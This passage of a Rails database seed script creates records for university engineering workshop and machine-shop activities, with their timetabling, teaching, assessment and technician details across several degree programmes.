last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a5.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a6 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at6 = ActivityTimetable.where(activity_id: a6.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a6.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a6.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a6.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a6.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a6.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a7 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at7 = ActivityTimetable.where(activity_id: a7.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a7.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a7.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a7.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a7.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a7.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a8 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 1)\n at8 = ActivityTimetable.where(activity_id: a8.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a8.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a8.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a8.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a8.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a8.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a9 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at9 = ActivityTimetable.where(activity_id: a9.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a9.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a9.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a9.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a9.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a9.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a10 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at10 = ActivityTimetable.where(activity_id: a10.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a10.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a10.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a10.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a10.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a10.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a11 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at11 = ActivityTimetable.where(activity_id: a11.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a11.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a11.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a11.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a11.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a11.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a12 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at12 = ActivityTimetable.where(activity_id: a12.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a12.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a12.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a12.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a12.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a12.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a13 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at13 = ActivityTimetable.where(activity_id: a13.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a13.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a13.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a13.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a13.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a13.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a14 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at14 = ActivityTimetable.where(activity_id: a14.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a14.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a14.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a14.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a14.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a14.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a15 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA GYRO\", archived: true, in_drive: false, user_id: 5)\n at15 = ActivityTimetable.where(activity_id: a15.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a15.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a15.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a15.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a15.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a15.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a16 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at16 = ActivityTimetable.where(activity_id: a16.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a16.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a16.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a16.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a16.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a16.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a17 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: false, user_id: 5)\n at17 = ActivityTimetable.where(activity_id: a17.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a17.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a17.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a17.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a17.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a17.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a18 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 3)\n at18 = ActivityTimetable.where(activity_id: a18.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a18.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a18.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a18.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a18.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a18.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a19 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at19 = ActivityTimetable.where(activity_id: a19.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a19.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a19.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a19.id).first_or_create!(assess_weight: 12.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a19.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a19.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a20 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at20 = ActivityTimetable.where(activity_id: a20.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a20.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a20.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a20.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a20.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a20.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a21 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 2)\n at21 = ActivityTimetable.where(activity_id: a21.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a21.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a21.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a21.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a21.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a21.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a22 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 1)\n at22 = ActivityTimetable.where(activity_id: a22.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a22.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a22.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a22.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a22.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a22.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a23 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 3)\n at23 = ActivityTimetable.where(activity_id: a23.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a23.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a23.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a23.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a23.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a23.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a24 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at24 = ActivityTimetable.where(activity_id: a24.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a24.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a24.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a24.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a24.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a24.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a25 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at25 = ActivityTimetable.where(activity_id: a25.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a25.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a25.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a25.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a25.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a25.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a26 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 1)\n at26 = ActivityTimetable.where(activity_id: a26.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a26.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a26.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a26.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a26.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n 